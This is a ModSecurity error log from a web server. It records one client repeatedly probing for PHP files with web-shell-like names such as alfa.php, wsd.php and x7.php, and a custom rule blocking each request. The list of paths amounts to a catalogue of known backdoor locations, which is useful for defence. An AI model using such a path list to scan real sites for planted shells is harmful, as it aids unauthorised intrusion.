[Sat Feb 07 09:48:57.404199 2026] [:error] [pid 58058:tid 58070] [client 20.100.190.151:27164] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/reze.php"] [unique_id "aYaaCbz-Qlvs65S4DP-DkgAAAYk"]
[Sat Feb 07 09:48:58.052274 2026] [:error] [pid 55157:tid 55165] [client 20.100.190.151:41225] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/reze.php"] [unique_id "aYaaCn36JdtTn2bTEow78QAAAQM"]
[Sat Feb 07 09:48:58.594128 2026] [:error] [pid 55157:tid 55171] [client 20.100.190.151:40503] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/reze.php"] [unique_id "aYaaCn36JdtTn2bTEow78wAAAQk"]
[Sat Feb 07 09:48:59.349249 2026] [:error] [pid 55157:tid 55162] [client 20.100.190.151:26565] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jsond.php"] [unique_id "aYaaC336JdtTn2bTEow7-QAAAQA"]
[Sat Feb 07 09:49:00.183026 2026] [:error] [pid 50671:tid 50680] [client 20.100.190.151:35123] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jsond.php"] [unique_id "aYaaDLvqLohWBI_mqBMlsQAAAAA"]
[Sat Feb 07 09:49:00.734134 2026] [:error] [pid 55157:tid 55186] [client 20.100.190.151:22915] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jsond.php"] [unique_id "aYaaDH36JdtTn2bTEow7_AAAARg"]
[Sat Feb 07 09:49:01.360223 2026] [:error] [pid 43182:tid 43206] [client 20.100.190.151:33617] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jsond.php"] [unique_id "aYaaDfEC82JnxmrnFYkjGgAAAVY"]
[Sat Feb 07 09:49:02.063920 2026] [:error] [pid 50672:tid 50729] [client 20.100.190.151:65281] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x7.php"] [unique_id "aYaaDg9o0jq1XS8Nv7PFVQAAAFU"]
[Sat Feb 07 09:49:02.740492 2026] [:error] [pid 55157:tid 55182] [client 20.100.190.151:27154] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x7.php"] [unique_id "aYaaDn36JdtTn2bTEow8AQAAARQ"]
[Sat Feb 07 09:49:03.415815 2026] [:error] [pid 50780:tid 50806] [client 20.100.190.151:34170] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x7.php"] [unique_id "aYaaD-tUmIu2JHM2CrvtOwAAANg"]
[Sat Feb 07 09:49:04.257678 2026] [:error] [pid 50780:tid 50787] [client 20.100.190.151:27143] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x7.php"] [unique_id "aYaaEOtUmIu2JHM2CrvtPAAAAMU"]
[Sat Feb 07 09:49:05.077366 2026] [:error] [pid 50673:tid 50755] [client 20.100.190.151:25586] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aYaaEWVwLsaZ7aKO2clFAgAAAJQ"]
[Sat Feb 07 09:49:05.855830 2026] [:error] [pid 50672:tid 50726] [client 20.100.190.151:22936] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aYaaEQ9o0jq1XS8Nv7PFYQAAAFI"]
[Sat Feb 07 09:49:06.533959 2026] [:error] [pid 50673:tid 50742] [client 20.100.190.151:35406] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aYaaEmVwLsaZ7aKO2clFCAAAAIc"]
[Sat Feb 07 09:49:08.201178 2026] [:error] [pid 50780:tid 50796] [client 20.100.190.151:24490] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aYaaFOtUmIu2JHM2CrvtSAAAAM4"]
[Sat Feb 07 09:49:08.988528 2026] [:error] [pid 58058:tid 58062] [client 20.100.190.151:25571] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "aYaaFLz-Qlvs65S4DP-DpAAAAYE"]
[Sat Feb 07 09:49:09.729867 2026] [:error] [pid 43182:tid 43208] [client 20.100.190.151:65342] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "aYaaFfEC82JnxmrnFYkjKQAAAVg"]
[Sat Feb 07 09:49:10.351979 2026] [:error] [pid 50780:tid 50806] [client 20.100.190.151:44080] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "aYaaFutUmIu2JHM2CrvtSgAAANg"]
[Sat Feb 07 09:49:10.908885 2026] [:error] [pid 58058:tid 58067] [client 20.100.190.151:25712] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "aYaaFrz-Qlvs65S4DP-DqAAAAYY"]
[Sat Feb 07 09:49:11.644607 2026] [:error] [pid 50672:tid 50714] [client 20.100.190.151:26577] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8xyz.php"] [unique_id "aYaaFw9o0jq1XS8Nv7PFaQAAAEY"]
[Sat Feb 07 09:49:12.427064 2026] [:error] [pid 58058:tid 58062] [client 20.100.190.151:26581] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8xyz.php"] [unique_id "aYaaGLz-Qlvs65S4DP-DsgAAAYE"]
[Sat Feb 07 09:49:14.220173 2026] [:error] [pid 58058:tid 58073] [client 20.100.190.151:25707] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8xyz.php"] [unique_id "aYaaGrz-Qlvs65S4DP-DuwAAAYw"]
[Sat Feb 07 09:49:14.863250 2026] [:error] [pid 50671:tid 50687] [client 20.100.190.151:38649] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8xyz.php"] [unique_id "aYaaGrvqLohWBI_mqBMlvAAAAAc"]
[Sat Feb 07 09:49:15.475523 2026] [:error] [pid 43182:tid 43202] [client 20.100.190.151:26593] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aYaaG_EC82JnxmrnFYkjNAAAAVI"]
[Sat Feb 07 09:49:16.070567 2026] [:error] [pid 58058:tid 58062] [client 20.100.190.151:26241] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aYaaHLz-Qlvs65S4DP-DwgAAAYE"]
[Sat Feb 07 09:49:16.733135 2026] [:error] [pid 50780:tid 50795] [client 20.100.190.151:26585] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aYaaHOtUmIu2JHM2CrvtVAAAAM0"]
[Sat Feb 07 09:49:17.565816 2026] [:error] [pid 58058:tid 58067] [client 20.100.190.151:26266] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aYaaHbz-Qlvs65S4DP-DyAAAAYY"]
[Sat Feb 07 09:49:18.786044 2026] [:error] [pid 50780:tid 50792] [client 20.100.190.151:44087] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Update/f35.php"] [unique_id "aYaaHutUmIu2JHM2CrvtWAAAAMo"]
[Sat Feb 07 09:49:19.423834 2026] [:error] [pid 43182:tid 43184] [client 20.100.190.151:44043] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Update/f35.php"] [unique_id "aYaaH_EC82JnxmrnFYkjNwAAAUA"]
[Sat Feb 07 09:49:20.451568 2026] [:error] [pid 50780:tid 50796] [client 20.100.190.151:26587] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Update/f35.php"] [unique_id "aYaaIOtUmIu2JHM2CrvtWQAAAM4"]
[Sat Feb 07 09:49:21.296262 2026] [:error] [pid 50672:tid 50730] [client 20.100.190.151:44091] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Update/f35.php"] [unique_id "aYaaIQ9o0jq1XS8Nv7PFdAAAAFY"]
[Sat Feb 07 09:49:22.488580 2026] [:error] [pid 55157:tid 55165] [client 20.100.190.151:41269] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aYaaIn36JdtTn2bTEow8GgAAAQM"]
[Sat Feb 07 09:49:23.144304 2026] [:error] [pid 43182:tid 43195] [client 20.100.190.151:44059] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aYaaI_EC82JnxmrnFYkjOgAAAUs"]
[Sat Feb 07 09:49:23.805343 2026] [:error] [pid 58058:tid 58065] [client 20.100.190.151:41217] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aYaaI7z-Qlvs65S4DP-D2QAAAYQ"]
[Sat Feb 07 09:49:27.996470 2026] [:error] [pid 50672:tid 50725] [client 20.100.190.151:40111] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aYaaJw9o0jq1XS8Nv7PFfQAAAFE"]
[Sat Feb 07 09:49:28.671630 2026] [:error] [pid 55157:tid 55178] [client 20.100.190.151:41240] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Wp-good.php"] [unique_id "aYaaKH36JdtTn2bTEow8HwAAARA"]
[Sat Feb 07 09:49:29.640415 2026] [:error] [pid 55157:tid 55168] [client 20.100.190.151:44086] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Wp-good.php"] [unique_id "aYaaKX36JdtTn2bTEow8JAAAAQY"]
[Sat Feb 07 09:49:30.669820 2026] [:error] [pid 55157:tid 55174] [client 20.100.190.151:22924] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Wp-good.php"] [unique_id "aYaaKn36JdtTn2bTEow8JgAAAQw"]
[Sat Feb 07 09:49:31.294924 2026] [:error] [pid 55157:tid 55185] [client 20.100.190.151:41224] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Wp-good.php"] [unique_id "aYaaK336JdtTn2bTEow8KQAAARc"]
[Sat Feb 07 09:49:32.085282 2026] [:error] [pid 50672:tid 50730] [client 20.100.190.151:25656] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tphp.php"] [unique_id "aYaaLA9o0jq1XS8Nv7PFhQAAAFY"]
[Sat Feb 07 09:49:32.862914 2026] [:error] [pid 50780:tid 50802] [client 20.100.190.151:5722] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tphp.php"] [unique_id "aYaaLOtUmIu2JHM2CrvtaAAAANQ"]
[Sat Feb 07 09:49:33.495371 2026] [:error] [pid 50780:tid 50789] [client 20.100.190.151:23994] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tphp.php"] [unique_id "aYaaLetUmIu2JHM2CrvtaQAAAMc"]
[Sat Feb 07 09:49:34.134380 2026] [:error] [pid 50672:tid 50731] [client 20.100.190.151:38592] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tphp.php"] [unique_id "aYaaLg9o0jq1XS8Nv7PFigAAAFc"]
[Sat Feb 07 09:49:34.758657 2026] [:error] [pid 50780:tid 50798] [client 20.100.190.151:44060] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aYaaLutUmIu2JHM2CrvtbQAAANA"]
[Sat Feb 07 09:49:35.484445 2026] [:error] [pid 50673:tid 50742] [client 20.100.190.151:25061] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aYaaL2VwLsaZ7aKO2clFJgAAAIc"]
[Sat Feb 07 09:49:36.459354 2026] [:error] [pid 55157:tid 55170] [client 20.100.190.151:5323] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aYaaMH36JdtTn2bTEow8OAAAAQg"]
[Sat Feb 07 09:49:37.111949 2026] [:error] [pid 50673:tid 50745] [client 20.100.190.151:5288] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aYaaMWVwLsaZ7aKO2clFMgAAAIo"]
[Sat Feb 07 09:49:37.749968 2026] [:error] [pid 43182:tid 43195] [client 20.100.190.151:38623] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nyan.php"] [unique_id "aYaaMfEC82JnxmrnFYkjYQAAAUs"]
[Sat Feb 07 09:49:38.435173 2026] [:error] [pid 50671:tid 50698] [client 20.100.190.151:25677] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nyan.php"] [unique_id "aYaaMrvqLohWBI_mqBMl2QAAABI"]
[Sat Feb 07 09:49:39.123244 2026] [:error] [pid 50673:tid 50743] [client 20.100.190.151:5266] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nyan.php"] [unique_id "aYaaM2VwLsaZ7aKO2clFPwAAAIg"]
[Sat Feb 07 09:49:39.698197 2026] [:error] [pid 43182:tid 43202] [client 20.100.190.151:26243] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nyan.php"] [unique_id "aYaaM_EC82JnxmrnFYkjbAAAAVI"]
[Sat Feb 07 09:49:40.297137 2026] [:error] [pid 43182:tid 43194] [client 20.100.190.151:5283] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aYaaNPEC82JnxmrnFYkjbgAAAUo"]
[Sat Feb 07 09:49:41.120429 2026] [:error] [pid 50671:tid 50690] [client 20.100.190.151:34866] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aYaaNbvqLohWBI_mqBMl3QAAAAo"]
[Sat Feb 07 09:49:41.757064 2026] [:error] [pid 50780:tid 50787] [client 20.100.190.151:37796] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aYaaNetUmIu2JHM2CrvtlAAAAMU"]
[Sat Feb 07 09:49:42.322356 2026] [:error] [pid 43182:tid 43197] [client 20.100.190.151:11999] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aYaaNvEC82JnxmrnFYkjcQAAAU0"]
[Sat Feb 07 09:49:42.902012 2026] [:error] [pid 43182:tid 43206] [client 20.100.190.151:23963] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aYaaNvEC82JnxmrnFYkjcgAAAVY"]
